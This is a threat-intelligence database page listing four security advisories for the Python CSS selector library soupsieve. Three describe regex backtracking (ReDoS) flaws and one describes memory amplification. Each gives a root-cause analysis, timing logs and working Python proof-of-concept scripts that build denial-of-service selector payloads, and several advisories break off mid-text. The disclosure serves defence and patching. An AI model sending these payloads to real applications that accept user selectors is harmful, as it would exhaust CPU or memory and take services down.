Skip to main content

Threat Intelligence Database

Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Package: pkg:pypi/soupsieve

Threat Intelligence

Click on any threat for detailed analysis and mitigation recommendations

## Summary soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. ## Trust model (Q0) The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ``` - classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match. The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead). ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_compile.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status print(f"soupsieve {sv.__version__}\n") print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]") print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]") payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`). ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`) ``` soupsieve 2.9 Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError] Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=20

Join the discussion

## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati

Join the discussion

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Join the discussion

### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir

Join the discussion

Showing 1 to 4 of 4 results

Filters:Package: pkg:pypi/soupsieve
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses